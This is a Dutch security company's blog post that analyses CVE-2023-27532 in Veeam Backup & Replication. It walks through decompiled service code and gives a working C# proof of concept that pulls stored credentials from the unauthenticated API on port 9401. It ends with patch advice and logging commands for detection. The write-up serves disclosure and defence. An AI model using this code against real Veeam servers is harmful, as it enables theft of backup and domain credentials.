Wij zijn |

CVE-2023-27532 – kwetsbaarheid in Veeam Backup & Replication

Er is een kwetsbaarheid ontdekt binnen Veeam Backup & Replication, waardoor een ongeauthenticeerde gebruiker toegang kan krijgen tot inloggegevens en zelfs code kan uitvoeren op het systeem. Alle versies van Veeam Backup & Replication voor V12 (build 12.0.0.1420 P20230223) en V11a (build 11.0.1.1261 P20230227) zijn kwetsbaar. We hebben gewacht met het publiceren van deze blogpost om organisaties tijd te geven om de kwetsbaarheid te verhelpen door de updaten naar de nieuwste versie.

De kwetsbaarheid misbruikt het feit dat de API op poort 9401 niet gebruikmaakt van authenticatie. Hierdoor kan iedereen met netwerktoegang tot poort 9401 alle bijna 5000 API-calls gebruiken. Met een van deze calls kunnen alle opgeslagen wachtwoorden van Veeam gebruikers worden opgevraagd. Ook zijn er calls die leiden tot Remote Code Execution.

Benodigdheden

  • Windows VM (bijvoorbeeld Windows 10)
  • Veeam ISO
  • Visual Studio
  • dnSpy

Om te onderzoeken hoe de kwetsbaarheid uitgebuit kan worden hebben we de kwetsbare versie van Veeam Backup & Replication geinstalleerd op een schone Windows 10 virtuele machine (VM). Om dit te doen kun je de ISO downloaden van de Veeam website (https://download2.veeam.com/VBR/v11/VeeamBackup&Replication_11.0.1.1261_20211123.iso, SHA256: 0dcebe370ec61bd817ebeadcc827f7aadac3e5011f7a4e5967c50df85380074c) en deze op de VM mounten. De ISO bevat alle benodigde installatiegegevens en het installatieproces is eenvoudig door te klikken.

Om de proof-of-concept te ontwikkelen hebben we Microsoft Visual Studio 2022 geinstalleerd. Dit is een gratis ontwikkelomgeving waarmee je .NET-toepassingen kunt bouwen. Daarnaast hebben we dnSpy (https://github.com/dnSpy/dnSpy) gebruikt om de kwetsbare service te debuggen.

Het is van belang dat je de juiste beveiligingsmaatregelen neemt als je de proof-of-concept zelf wilt uitproberen. Houd er rekening mee dat je bewust kwetsbare software installeert en dat dit risico’s met zich meebrengt. Voer bovendien nooit zomaar exploit-code uit die van het internet afkomstig is, zonder deze eerst zelf te controleren om er zeker van te zijn dat de code veilig is.

dnSpy

dnSpy is een gratis open-source debugger en .NET assembly editor die het mogelijk maakt om de interne werking van .NET executables of dll’s te onderzoeken. Het is een krachtig hulpmiddel om de code van een .NET-toepassing te decompileren en te debuggen. Met dnSpy kun je, net als veel andere debuggers, een lopend proces benaderen, breakpoints plaatsen en stap voor stap door de code lopen. Hierdoor kun je precies zien wat er op welk punt in de code gebeurt en welke waarden de variabelen hebben op een bepaald moment. Dit is vooral handig bij het onderzoeken van (potentiële) kwetsbaarheden. Het gebruik van dnSpy vereist wel dat je enige kennis hebt van programmeertalen.

Debuggen

Aan de hand van de officiële advisory van Veeam weten we dat de kwetsbare service standaard draait op poort 9401/TCP.

Een simpel netstat commando met een grep op het PID geeft aan dat het bijbehorende proces Veeam.Backup.Service.exe is.

Netstat port 9401

Na de executable (C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Service.exe) binnen dnSpy te openen en de flow vanaf onStart() te volgen is binnen de class CRemoteInvokeServiceHolder te zien dat de gelijknamige method wordt aangeroepen om zo te luisteren op net.tcp://0.0.0.0:9401. Ook is te zien dat het gaat om een NetTcpBinding, wat duidt op communicatie via Windows Communication Foundation (WCF). Via de interface IRemoteInvokeService worden de methods van de class CvbRestoreServiceStub exposed. 

namespace Veeam.Backup.ServiceLib {
  public class CRemoteInvokeServiceHolder: IDisposable {
    private CRemoteInvokeServiceHolder(string ipOrDns, int port, CVbServiceManagers managers) {
      try {
        CVbRestoreServiceStub singletonInstance = new CVbRestoreServiceStub(managers);
        this._serviceHost = this._disposableList.Add < ServiceHost > (new ServiceHost(singletonInstance, Array.Empty < Uri > ()));
        NetTcpBinding binding = new NetTcpBinding("invokeServiceBinding");
        this.ChannelAddress = string.Format("net.tcp://{0}:{1}/", ipOrDns, port);
        this._serviceHost.AddServiceEndpoint(typeof (IRemoteInvokeService), binding, this.ChannelAddress);
        this._serviceHost.Open();
      } catch (Exception) {
        this.DisposeInternal();
        throw;
      }
    }
  }
}
De configuratie van de binding invokeServiceBinding is te vinden in het configuratiebestand C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Service.exe.config. Hierin is te zien dat er Transport security aan staat. Al het verkeer wordt dus over een versleutelde TLS-verbinding heen en weer gezonden. Ook is te zien dat clientCredentialType op None staat. Dit houdt in dat clients niet hoeven te authenticeren om gebruik te maken van WCF.
<bindings>
  <netTcpBinding>
    <binding name="invokeServiceBinding" maxReceivedMessageSize="2147483647" sendTimeout="00:10:00" receiveTimeout="00:20:00">
      <security mode="Transport">
        <transport clientCredentialType="None" />
      </security>
      <readerQuotas maxStringContentLength="2147483647" />
    </binding>
  </netTcpBinding>
</bindings>

Nu bekend is dat methods van de class CVbRestoreServiceStub worden exposed via de API kunnen we op zoek gaan naar deze methods. Door in dnSpy te klikken op CVbRestoreServiceStub (nog steeds binnen de eerder gevonden CRemoteInvokeServiceHolder), decompiled dnSpy de class en zijn de bijna 5000 verschillende methods leesbaar. De advisory schrijft over het opvragen van encrypted credentials. Door handmatig op zoek te gaan zijn er een aantal methods gevonden die mogelijk betrekking kunnen hebben op hetgeen de advisory beschrijft, met als meest waarschijnlijk de call ExecuteCredentialsDbScopeGetAllCreds().

namespace Veeam.Backup.ServiceLib {
  public class CVbRestoreServiceStub: IRemoteInvokeService {
    private CRemoteInvokeRetVal ExecuteCredentialsDbScopeGetAllCreds(CCommonInvokeSpec spec) {
      bool includeHidden = this._deserializer.DeserializeCustom < bool > (spec.GetParamAsString("includeHidden"));
      IList < CDbCredentialsInfo > allCreds = CCredentialsStrore.Instance.Credentials.GetAllCreds(includeHidden);
      CCommonInvokeRetVal ccommonInvokeRetVal = CCommonInvokeRetVal.Create();
      ccommonInvokeRetVal.AddParam("retVal", CProxyBinaryFormatter.Serialize(allCreds));
      return ccommonInvokeRetVal;
    }
In de code is te zien dat er een boolean parameter genaamd includeHidden wordt verwacht. Vervolgens wordt de functie GetAllCreds() aangeroepen. De return value hiervan wordt geserialiseerd als waarde van de parameter retVal gezet en tot slot geretourneerd.

Binnen de functie GetAllCreds() gebeurt het volgende:

namespace Veeam.Backup.DBManager {
  public class CCredentialsDbScope {
    public IList < CDbCredentialsInfo > GetAllCreds(bool includeHidden = true) {
      IList < CDbCredentialsInfo > result;
      using(DataTableReader dataTableReader = this._dbAccessor.GetDataTable("GetAllCreds", Array.Empty < SqlParameter > ()).CreateDataReader()) {
        result = this.ReadCredsCollection(dataTableReader, includeHidden);
      }
      return result;
    }

Verbinding maken

Om de API calls aan te roepen moet er een WCF client worden gemaakt. Onderstaande snippet bevat code voor het opzetten van de NetTcp verbinding met de Veeam Backup Service. De instellingen voor de TLS verbinding alsmede de NetTcp verbinding zelf worden meegegeven. Vervolgens wordt de Invoke method aangeroepen op de interface IRemoteInvokeService. Met deze method kunnen de API calls (de methods) worden aangeroepen. Invoke verwacht drie parameters, scope, method en parameters.

TcpTransportSecurity tcpTransportSecurity = new TcpTransportSecurity {
  ClientCredentialType = TcpClientCredentialType.None
};
NetTcpSecurity netTcpSecurity = new NetTcpSecurity {
  Mode = SecurityMode.Transport,
  Transport = tcpTransportSecurity
};
NetTcpBinding binding = new NetTcpBinding { 
  Security = netTcpSecurity, 
  Name = "NetTcpBinding"
};
Uri uri = new Uri("net.tcp://192.168.0.169:9401/");
EndpointAddress endpoint = new EndpointAddress(uri, EndpointIdentity.CreateDnsIdentity("Veeam Backup Server Certificate"));
X509ServiceCertificateAuthentication x509ServiceCertificateAuthentication = new X509ServiceCertificateAuthentication {
  CertificateValidationMode = X509CertificateValidationMode.None
};
ChannelFactory<IRemoteInvokeService> myChannelFactory = new ChannelFactory<IRemoteInvokeService>(binding, endpoint);
myChannelFactory.Credentials.ServiceCertificate.SslCertificateAuthentication = x509ServiceCertificateAuthentication;
IRemoteInvokeService cVbRestoreServiceStub = myChannelFactory.CreateChannel(endpoint);
cVbRestoreServiceStub.Invoke(ERemoteInvokeScope.DatabaseManager, ERemoteInvokeMethod."<method>", "<arg>");

Wachtwoorden opvragen

Om de credentials te verkrijgen moet als method dus de eerder gevonden CredentialsDbScopeGetAllCreds() worden ingevuld. Daar hidden credentials ook gewenst zijn moet de parameter includeHidden op true staan en in binary format worden meegezonden binnen een stukje XML.

MemoryStream memoryStream = new MemoryStream();
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(memoryStream, true);
string serializedPayload = Convert.ToBase64String(memoryStream.ToArray());
string xml = String.Format("<RemoteInvokeSpec ContextSessionId='{0}' " +
  "Scope='Service' Method='CredentialsDbScopeGetAllCreds'>" +
  "<Params><Param ParamName='includeHidden' ParamValue='{1}' " +
  "ParamType='System.String'></Param></Params></RemoteInvokeSpec>",
  Guid.NewGuid().ToString(), serializedPayload);
string retVal = cVbRestoreServiceStub.Invoke(ERemoteInvokeScope.DatabaseManager, ERemoteInvokeMethod.CredentialsDbScopeGetAllCreds, xml);
Console.WriteLine(retVal);
Console.ReadKey();

Door binnen CCredentialsDbScope.GetAllCreds() een breakpoint te zetten op return, kunnen de waardes van de variabelen worden gelezen. 

Breakpoint values

 Na het laten doorgaan van de flow wordt een serialized base64 blob teruggestuurd.

Serialized Output

 Deze blob kan worden gedecodeerd om de plaintext wachtwoorden te lezen. Doordat het eigenlijk een binary format serialized object is, worden er na het decoden ook binary karakters getoond. In de code kan dit natuurlijk wel worden afgevangen maar is voor het aantonen van de kwetsbaarheid niet nodig.

AAEAAAD/////AQAAAAAAAAAMAgAAAFZWZWVhbS5CYWNrdXAuTW9kZWwsIFZlcnNpb249MTEuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YmZkNjg0ZGUyMjc2NzgzYQQBAAAAogFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1ZlZWFtLkJhY2t1cC5Nb2RlbC5DRGJDcmVkZW50aWFsc0luZm8sIFZlZWFtLkJhY2t1cC5Nb2RlbCwgVmVyc2lvbj0xMS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iZmQ2ODRkZTIyNzY3ODNhXV0DAAAABl9pdGVtcwVfc2l6ZQhfdmVyc2lvbgQAACdWZWVhbS5CYWNrdXAuTW9kZWwuQ0RiQ3JlZGVudGlhbHNJbmZvW10CAAAACAgJAwAAAAYAAAAGAAAABwMAAAAAAQAAAAgAAAAEJVZlZWFtLkJhY2t1cC5Nb2RlbC5DRGJDcmVkZW50aWFsc0luZm8CAAAACQQAAAAJBQAAAAkGAAAACQcAAAAJCAAAAAkJAAAADQIMCgAAAFdWZWVhbS5CYWNrdXAuQ29tbW9uLCBWZXJzaW9uPTExLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWJmZDY4NGRlMjI3Njc4M2EFBAAAACVWZWVhbS5CYWNrdXAuTW9kZWwuQ0RiQ3JlZGVudGlhbHNJbmZvBQAAABg8VmVyc2lvbj5rX19CYWNraW5nRmllbGQTPElkPmtfX0JhY2tpbmdGaWVsZBQ8VGFnPmtfX0JhY2tpbmdGaWVsZBg8VmlzaWJsZT5rX19CYWNraW5nRmllbGQcPENyZWRlbnRpYWxzPmtfX0JhY2tpbmdGaWVsZAADBAAECQtTeXN0ZW0uR3VpZCBWZWVhbS5CYWNrdXAuTW9kZWwuQ1Zick9iamVjdFRhZwIAAAABIFZlZWFtLkJhY2t1cC5Db21tb24uQ0NyZWRlbnRpYWxzCgAAAAIAAADdAwAAAAAAAAT1////C1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAgJcNk0PcwCuQLGFY0i4CaODBfT///8gVmVlYW0uQmFja3VwLk1vZGVsLkNWYnJPYmplY3RUYWcBAAAAB190YWdTdHIBAgAAAAYNAAAAJDBmNGQzNjVjLTAwNzMtNDBhZS1iMTg1LTYzNDhiODA5YTM4MwEJDgAAAAEFAAAABAAAANwDAAAAAAAAAfH////1////hiYBiMqGl0uoEROcV2WROgHw////9P///wYRAAAAJDg4MDEyNjg2LTg2Y2EtNGI5Ny1hODExLTEzOWM1NzY1OTEzYQEJEgAAAAEGAAAABAAAACsAAAAAAAAAAe3////1////A1sncAXo4UmVNRhnxiNx4gHs////9P///wYVAAAAJDcwMjc1QjAzLUU4MDUtNDlFMS05NTM1LTE4NjdDNjIzNzFFMgEJFgAAAAEHAAAABAAAAFQAAAAAAAAAAen////1////UK/rtWMaSEyDn1+KVFJSCwHo////9P///wYZAAAAJEI1RUJBRjUwLTFBNjMtNEM0OC04MzlGLTVGOEE1NDUyNTIwQgEJGgAAAAEIAAAABAAAAF0AAAAAAAAAAeX////1////0t55466Nmku3fX7ZnoxxUgHk////9P///wYdAAAAJEUzNzlERUQyLThEQUUtNEI5QS1CNzdELTdFRDk5RThDNzE1MgEJHgAAAAEJAAAABAAAAFMAAAAAAAAAAeH////1////0UEA/WhKvUqu/rK/Art8qQHg////9P///wYhAAAAJEZEMDA0MUQxLTRBNjgtNEFCRC1BRUZFLUIyQkYwMkJCN0NBOQEJIgAAAAUOAAAAIFZlZWFtLkJhY2t1cC5Db21tb24uQ0NyZWRlbnRpYWxzBwAAAAhVc2VyTmFtZQhQYXNzd29yZA5Jc0xvY2FsUHJvdGVjdAtDdXJyZW50VXNlcgtEZXNjcmlwdGlvbhVDaGFuZ2VUaW1lVXRjSGFzVmFsdWUNQ2hhbmdlVGltZVV0YwEBAAABAAABAQENCgAAAAYjAAAAFURFU0tUT1AtRkpOOVRDQVxKb2hhbgYkAAAAD1ZlcnlTM2N1cmVQNCQkIQEABiUAAAAVREVTS1RPUC1GSk45VENBXEpvaGFuAbB81CecLtsIARIAAAAOAAAABiYAAAAESGFucwYnAAAAC0hhbnNqZTE5ODMhAQAGKAAAAARIYW5zAQAXmYibLtsIARYAAAAOAAAABikAAAAEcm9vdAYqAAAAAAEABisAAAAcSGVscGVyIGFwcGxpYW5jZSBjcmVkZW50aWFscwGwz6+xuirbCAEaAAAADgAAAAYsAAAABHJvb3QJKgAAAAEABi4AAAAzVGVuYW50LXNpZGUgbmV0d29yayBleHRlbnNpb24gYXBwbGlhbmNlIGNyZWRlbnRpYWxzASDaAqi6KtsIAR4AAAAOAAAABi8AAAAEcm9vdAkqAAAAAQAGMQAAACJBenVyZSBoZWxwZXIgYXBwbGlhbmNlIGNyZWRlbnRpYWxzAQBwy6q6KtsIASIAAAAOAAAABjIAAAAEcm9vdAkqAAAAAQAGNAAAADVQcm92aWRlci1zaWRlIG5ldHdvcmsgZXh0ZW5zaW9uIGFwcGxpYW5jZSBjcmVkZW50aWFscwEg2gKouirbCAs=

Base64 decoded output

Naast deze API call om wachtwoorden op te vragen zijn er nog duizenden API calls beschikbaar. Met in ieder geval een hiervan is het mogelijk om code uit te voeren op het onderliggende systeem (Remote Code Execution). 

Advies

Installeer de nieuwste versies. Vanaf onderstaande build numbers is de kwetsbaarheid verholpen. 

  • 12 (build 12.0.0.1420 P20230223)
  • 11a (build 11.0.1.1261 P20230227)

Indicators of Compromise

Huntress beschrijft dat API calls log entries achterlaten mits logging expliciet is aangezet. Met standaard instellingen wordt de aanval dus niet gelogd. Onderstaande commando’s kunnen worden uitgevoerd binnen een Powershell sessie als admin om het log level te verhogen. Hierna worden de API calls gelogd binnen C:\ProgramData\Veeam\Backup\Svc.VeeamBackup.log.

Set-ItemProperty "HKLM:\Software\Veeam\Veeam Backup and Replication" -Name "LoggingLevel" -Value 7
Restart-Service VeeamBackupSvc -Force

Hoe kunnen wij u helpen?

QR Codes: Het onverwachte wapen in Device Code Phishing

Device code phishing, net als aanvallen via Adversary-in-the-middle (AiTM), vertegenwoordigt een geavanceerde vorm van cyberdreiging die zich onderscheidt van traditionele phishing. Device code phishing exploiteert de ‘OAuth2 Device Authorization Grant flow‘ van Microsoft Azure, die gebruikers in staat stelt zich aan te melden bij apparaten met beperkte invoermogelijkheden.

read more

CORS: het belang van Cross-Origin Resource Sharing

Bij onze klanten zien we een toenemende implementatie van Cross-Origin Resource Sharing (CORS). Helaas constateren we ook een stijging in het aantal onveilig geconfigureerde CORS-implementaties. In deze blog duiken we dieper in wat CORS is, de meest voorkomende misconfiguraties en hun potentiële risico’s, en hoe je sterke CORS-regels kunt instellen om je webapplicaties te beschermen.

read more